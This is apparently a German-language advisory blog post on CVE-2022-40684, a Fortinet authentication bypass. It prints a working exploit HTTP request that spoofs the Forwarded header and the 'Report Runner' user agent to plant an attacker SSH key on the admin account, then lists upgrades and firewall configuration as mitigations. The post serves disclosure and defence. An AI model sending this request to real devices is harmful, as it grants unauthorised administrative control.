CVE-2022-40684

Dec 02 2022
Über die Sicherheitsanfälligkeit CVE-2022-40684 ist eine Sicherheitsanfälligkeit zur Umgehung der Authentifizierung in einigen Fortinet-Produkten wie FortiOS, Fortiproxy und FortiSwitchManager. Das bedeutet, dass der Angreifer mithilfe dieser Schwachstelle die Authentifizierung umgehen und sich als Administrator anmelden kann.

Über die Schwachstelle

CVE-2022-40684 ist eine Schwachstelle zur Umgehung der Authentifizierung in einigen Fortinet-Produkten wie FortiOS, Fortiproxy und FortiSwitchManager. Das bedeutet, dass der Angreifer mithilfe dieser Schwachstelle die Authentifizierung umgehen und sich als Administrator anmelden kann. Die Basispunktzahl für diese Schwachstelle beträgt 9,8, was sie sehr kritisch macht. Bevor wir weitermachen, wollen wir verstehen, was diese Produkte sind:

  1. FortiOS: Wie der Name schon sagt, ist FortiOS, das Fortinet Network Operating System , das Herzstück von Fortinet Security. Dieses Betriebssystem bildet den Kern der Security Fabric und verbindet alle Komponenten miteinander, um eine enge Integration über die gesamte Bereitstellung eines Unternehmens hinweg zu gewährleisten.
  2. FortiProxy: Es ist ein sicherer Web-Proxy, der Mitarbeiter vor Angriffen aus dem Internet schützt, indem er mehrere Erkennungstechniken wie Webfilter integriert.
  3. FortiSwitchManager (FSWM) ist die On-Premise-Verwaltungsplattform für das FortiSwitch-Produkt . FortiSwitch-Einheiten verbinden sich über das Layer-3-Netzwerk mit FortiSwitch Manager. Sie können eine große Anzahl von FortiSwitch-Einheiten mit dieser reinen FortiSwitch-Verwaltungsplattform konfigurieren.

Einfluss

Der Fehler ermöglicht es einem nicht authentifizierten Benutzer, über einige HTTP/S-Anfragen (Methoden können GET, POST, DELETE usw. sein) Operationen direkt im Admin-Panel auszuführen. Die Administratorrolle kann einige der folgenden Ereignisse verursachen:

  1. Die Kontrolle über die gesamte Anwendung übernehmen
  2. Zugang zur internen Infrastruktur erhalten
  3. Hinzufügen oder Löschen von Benutzern
  4. Kontakt mit sensiblen Daten
  5. Ändern Sie die SSH-Schlüssel der Admin-Benutzer, damit sich der Angreifer beim kompromittierten System anmelden kann
  6. Manipulieren verschiedener Konfigurationsdateien usw.

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by= „[127.0.0.1]:9000 ″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58=dev@devs-MacBook-Pro.local \““ }

  • Über den Header „Forwarded“ kann ein Angreifer die client_ip auf „127.0.0.1“ setzen.
  • Die Authentifizierungsprüfung „Vertrauenswürdiger Zugriff“ bestätigt, dass die client_ip „127.0.0.1“ und der User-Agent „Report Runner“ ist, die beide unter der Kontrolle des Angreifers stehen.

„Abhilfe zu finden ist viel wichtiger als einen Fehler zu finden“

Im Folgenden sind einige der Abhilfemaßnahmen aufgeführt, um eine Organisation vor CVE-2022–40684 zu schützen:

  1. Aktualisierung der betroffenen Produkte.
    Upgrade der FortiOS-Version auf ≥7.2.2 und ≥7.0.7
    Upgrade der FortiProxy-Version auf ≥7.2.1 und ≥ 7.0.7
    Upgrade der FortiSwitchManager-Version ≥7.2.1 und ≥7.0.1
  2. Deaktivieren Sie die http/https-Verwaltungsschnittstelle auf FortiOS, FortiProxy und FortiSwitchManager.
  3. Begrenzen Sie für FortiOS die IP-Adressen, die die Verwaltungsschnittstelle erreichen können
  4. config firewall address
    edit "my_allowed_addresses"
    set subnet <MY IP> <MY SUBNET>
    end
    

    config firewall addrgrp
    edit "MGMT_IPs"
    set member "my_allowed_addresses"
    end
    

    config firewall local-in-policy
    edit 1
    set intf port1
    set srcaddr "MGMT_IPs"
    set dstaddr "all"
    set action accept
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    next
    edit 2
    set intf "any"
    set srcaddr "all"
    set dstaddr "all"
    set action deny
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    end
    

    config firewall service custom
    edit GUI_HTTPS
    set tcp-portrange <admin-sport>
    next
    edit GUI_HTTP
    set tcp-portrange <admin-port>
    end
    

config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end